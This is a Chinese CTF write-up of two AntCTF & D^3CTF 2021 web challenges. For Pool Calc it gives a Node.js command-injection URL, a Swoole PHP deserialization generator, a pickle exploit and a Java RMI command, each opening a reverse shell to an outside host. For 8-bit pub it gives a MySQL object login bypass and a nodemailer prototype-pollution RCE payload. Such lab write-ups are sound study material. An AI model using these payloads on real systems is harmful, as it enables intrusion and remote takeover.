AntCTF&D^3CTF 2021 WEB WP
AntCTF&D^3CTF 2021 WEB WP
不愧是蚂蚁SRC和三电联合主办的CTF,质量很顶(太菜了,被虐de太惨了
Pool Calc 考点
简单Node.Js代码审计、简单的反编译、Python Pickle反序列化、PHP Swoole反序列化RCE、JavaRMI反序列化
这是一道需要拿到主机(Node服务)和三个docker flag的合成题,有点可惜,本来做到深夜差个Java就一血了,一觉醒来没了…
Node.Js(主机) 题目给了docker.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 version: "3" services: java_calc: build: ./java_calc environment: APP_NAME: "java_calc" restart: always php_calc: build: ./php_calc environment: APP_NAME: "php_calc" restart: always py_calc: build: ./py_calc environment: APP_NAME: "py_calc" restart: always web_app: build: ./web_app environment: APP_NAME: "web_app" ports: - "3000:3000"
感觉没什么用(给选手提前说一下存在四种不同语言的服务?
打开网站,注意到URL的/redirect?filename=index.html
读取app.js
,关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 const fs = require ('fs' )const express = require ('express' )const {exec} = require ('child_process' )const format = require ("string-format" )const dotenv = require ("dotenv" );app.get("/redirect" , (req, res ) => { let filename = req.query.filename res.sendFile(`${__dirname} /` + filename) }) app.get('/calc' , (req, res ) => { let params = req.query var lang = params.language !== undefined ? params.language : "python" let calc_client_path = { "python" : process.env.py_calc_tool_path, "php" : process.env.php_calc_tool_path, "java" : process.env.java_calc_tool_path } if (lang === 'python' ) { let data = { "action" : params.action, "a" : params.a, "b" : params.b, "ip" : process.env.py_calc_address, "port" : process.env.py_calc_port } var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}' , data) } else if (lang === 'php' ) { let data = { "action" : params.action, "a" : params.a, "b" : params.b, "ip" : process.env.php_calc_address, "port" : process.env.php_calc_port } var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}' , data) } else if (lang === 'java' ) { let data = { "action" : params.action, "a" : params.a, "b" : params.b, "ip" : process.env.java_calc_address, "port" : process.env.java_calc_port } var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}' , data) } try { exec(cmd, ((error, stdout, stderr ) => {res.send(stdout)})) } catch (e) { res.send("Something Error" ) } })
直接就把用户输入拼接到了命令执行语句,弹个shell(可能做了某些限制,不能bash
弹,所以用的Python
)
/calc?language=python&action=add&a=1&b=1||python+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22ip%22%2cport))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b%27
执行/getflag
即可获得第一部分flag
PHP 拿到了主机的webshell
,接下来就是读取三个docker
的文件了,先看PHP
和RCTF2020
一样,考点都是Swoole
反序列化,但这里需要用到wupoc
师傅的非预期(RCE)
一搜就能找到 https://evi0s.com/2020/06/01/rctf2020-web-writeup/
但自己本地没搭Swoole
…..搭了半晚上环境才搞好
主机没有Swoole
环境,所以生成不了Payload,但又因为PHP docker在内网,所以只能在本地先生成出反序列化payload,然后去主机上把Payload发送过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 include ('Handler.php' );function process_serialized ($serialized ) { $new = '' ; $last = 0 ; $current = 0 ; $pattern = '#\bs:([0-9]+):"#' ; while ( $current < strlen($serialized ) && preg_match( $pattern , $serialized , $matches , PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches [0 ][1 ]; $p_start_string = $p_start + strlen($matches [0 ][0 ]); $length = $matches [1 ][0 ]; $p_end_string = $p_start_string + $length ; if (!( strlen($serialized ) > $p_end_string + 2 && substr($serialized , $p_end_string , 2 ) == '";' )) { $current = $p_start_string ; continue ; } $string = substr($serialized , $p_start_string , $length ); $clean_string = '' ; for ($i =0 ; $i < strlen($string ); $i ++) { $letter = $string {$i }; $clean_string .= ctype_print($letter ) && $letter != '\\' ? $letter : sprintf("\\%02x" , ord($letter )); ; } $new .= substr($serialized , $last , $p_start - $last ) . 'S:' . $matches [1 ][0 ] . ':"' . $clean_string . '";' ; $last = $p_end_string + 2 ; $current = $last ; } $new .= substr($serialized , $last ); return $new ; } $o = new Swoole\Curl\Handlep("http://baidu.com/" );$o ->setOpt(CURLOPT_READFUNCTION,"array_walk" );$o ->setOpt(CURLOPT_FILE, "array_walk" );$o ->exec = array ('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"' );$o ->setOpt(CURLOPT_POST,1 );$o ->setOpt(CURLOPT_POSTFIELDS,"aaa" );$o ->setOpt(CURLOPT_HTTPHEADER,["Content-type" =>"application/json" ]);$o ->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);$a = serialize([$o ,'exec' ]);echo str_replace("Handlep" , "Handler" , urlencode(process_serialized($a )));
注意需要将Handler.php
的类改为Handlep
才行
1 2 3 4 5 6 7 8 9 <?php $s = urldecode('.....' ); $client = new Swoole\Client(SWOOLE_SOCK_TCP);if (!$client ->connect('php_calc' , 8080 , -1 )) { exit ("connect failed. Error: {$client->errCode} \n" ); } $client ->send($s );echo $client ->recv();$client ->close();
Python /app/calc_tools/py/client
下载发现是ELF
文件,需要逆一下才能看到client
端源码
然后就是pickle
反序列化
做到py的时候在/tmp找到了别人写好的POC,那就直接上车(懒狗行为 还有一个小坑点,主机是py2,但docker里是py3,导致前面用py2来运行exp一直没有反弹成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import socket, sys, pickle, argparseimport osclass Calculator : action = None a = None b = None def __init__ (self, action, a, b ): self.action = action self.a = float (a) self.b = float (b) def __reduce__ (self ): return (os.system,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" ,)) def generate_data (action, a, b ): obj = Calculator(action, a, b) data = pickle.dumps(obj) return data def send_data (ip, port, pickle_data ): address = ( ip, int (port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3 ) try : s.connect(address) except Exception: print('Server not found or not open' ) sys.exit() try : try : s.sendall(pickle_data) print(pickle_data) recv_c = s.recv(1024 ) print(recv_c.decode()) except Exception: s.close() finally : s.close() if __name__ == '__main__' : data = generate_data("add" , "1.0" , "2.0" ) send_data("py_calc" , 8080 , data)
java
发现一血没了就没看了,贴贴星盟师傅的WP吧
攻击注册中心:参考 https://xz.aliyun.com/t/8247#toc-7 的AttackRegistryByLookupAndUnicastRef
将该文章中的工具 https://github.com/waderwu/attackRmi 编译上传到服务器,配合JRMPListener
(恶意服务)
反弹shell
1 java -jar j.jar LAUS 172.20.0.3 8080 172.20.0.5 29001 "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMy4zMS45MC8zMDAwMiAwPiYxICI=}|{base64,-d}|{bash,-i}"
8-bit pub 考点: 原型链污染,Node.Js
依赖库源码审计
开启Json解析导致登录验证绕过 题目给了源码
先放一下package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { "name" : "8-bit_pub" , "version" : "1.0.0" , "private" : true , "scripts" : { "start" : "node app.js" }, "dependencies" : { "cookie-parser" : "~1.4.4" , "express" : "^4.16.4" , "express-session" : "^1.17.1" , "http-errors" : "~1.6.3" , "mysql" : "^2.18.1" , "nodemailer" : "^6.4.18" , "session-file-store" : "^1.5.0" , "shvl" : "^2.0.2" } }
题目需要我们先成为admin
才能使用后续的功能,看一下登录功能的代码 /modules/users.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 signin: function (username, password, done ) { str = `SELECT * FROM users WHERE username = ${username} AND password = ${password} ` console .log(str) sql.query( "SELECT * FROM users WHERE username = ? AND password = ?" , [username, password], function (err, res ) { if (err) { console .log("error: " , err); return done(err, null ); } else { return done(null , res); } } ); }
看起来没什么问题,但注意到这里开启了json
解析 app.js
在存在sql
服务的node
网站中支持json
解析其实是一件很危险的事,wupco
师傅在其 几则NodeJS的安全问题 一文中就提到过(MongoDB)
而这里的MySQL
也存在类似传入Obeject
时的安全问题
传入Object
1 {"username" :"admin" ,"password" :{"username" :"admin" }}
还可以是
1 {"username" :"admin" ,"password" :{"password" :1 }}
寻找能污染的RCE漏洞点 接下来审计整个网站的功能点
找到controllers/adminController.js
这个写法非常像原型链污染,不过目前不清楚shvl
是什么,先留着
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 const send = require ("../utils/mail" );const shvl = require ("shvl" );module .exports = { home: function (req, res ) { return res.sendView("admin.html" ); }, email: async function (req, res ) { let contents = {}; Object .keys(req.body).forEach((key ) => { shvl.set(contents, key, req.body[key]); }); contents.from = '"admin" <admin@8-bit.pub>' ; try { await send(contents); return res.json({message : "Success." }); } catch (err) { return res.status(500 ).json({ message : err.message }); } }, };
看下adminController
,发现admin
就只有一个发邮件的功能
作为admin
唯一的功能,既然写法没问题,那问题肯定就出在了依赖库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const nodemailer = require ("nodemailer" );async function send (contents ) { let transporter = nodemailer.createTransport({ host: "******" , port: 25 , tls: { rejectUnauthorized : false }, auth: { user: "******" , pass: "******" , }, }); return transporter.sendMail(contents); } module .exports = send;
用到了nodemailer
模块,搜一下发现前段时间爆出过RCE
但不是这个版本,去github跟一下漏洞点
传送门
有点长,做一些简化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 'use strict' ;const spawn = require ('child_process' ).spawn;class SendmailTransport { constructor (options ) { this ._spawn = spawn; } send (mail, done ) { let args; let sendmail; if (this .args) { args = ['-i' ].concat(this .args).concat(envelope.to); } else { args = ['-i' ].concat(envelope.from ? ['-f' , envelope.from] : []).concat(envelope.to); } try { sendmail = this ._spawn(this .path, args); } catch (E) { this .logger.error( { err: E, tnx: 'spawn' , messageId }, 'Error occurred while spawning sendmail. %s' , E.message ); return callback(E); } } } module .exports = SendmailTransport;
很明显,命令执行处sendmail = this._spawn(this.path, args);
的两个参数都能被污染到,RCE可行
然后再看一下上面找到的shvl
是什么情况
醒目的Prototype Pollution
,但由上面package.json
可知,库版本不对,那就继续跟一下github
源码库,看看漏洞点做了什么修改
漏洞代码 传送门
修复后 传送门
就ban
掉了__proto__
想起了NCTF2020
的PackageManager v2
话说上面那道题的child_process建立子进程
,朱古力学长在先知也发过分析 传送门
寻找利用链 现在还有个问题,如何去触发这个send
函数呢?
找到nodemailer
模块的/lib/mailer/index.js
,sendMail
函数
这里调用到了send
,那么跟进一下this.transporter
只要实例化的时候传入SendmailTransport
,就能在调用sendMail
函数时调用到SendmailTransport
里的send
函数了
因为上面的调用过程是在sendMail
函数里面,所以需要我们找到能调用到sendMail
和传入transporter
为SendmailTransport
的地方
再回头看一下题目源码utils/mail.js
那这里也不愁sendMail
的调用了,只需要找到将传入的transporter
赋值为SendmailTransport
类的实例化对象即可完成整个攻击链
跟一下上面的createTransport
只要存在options.sendmail
就能将transporter
赋值为SendmailTransporter
的对象
毫无疑问,这也是能污染到的
最终payload
1 2 3 4 { "constructor.prototype.sendmail" : 1 ,"constructor.prototype.shell" : "/bin/sh" , "constructor.prototype.path" : "evil code" , "constructor.prototype.args" : ["" ]}
剩下的就是一堆Java了。初学Java安全,刚好当天又是20级招新结束,所以比赛的时候后面的就没看了,有空去复现Orz….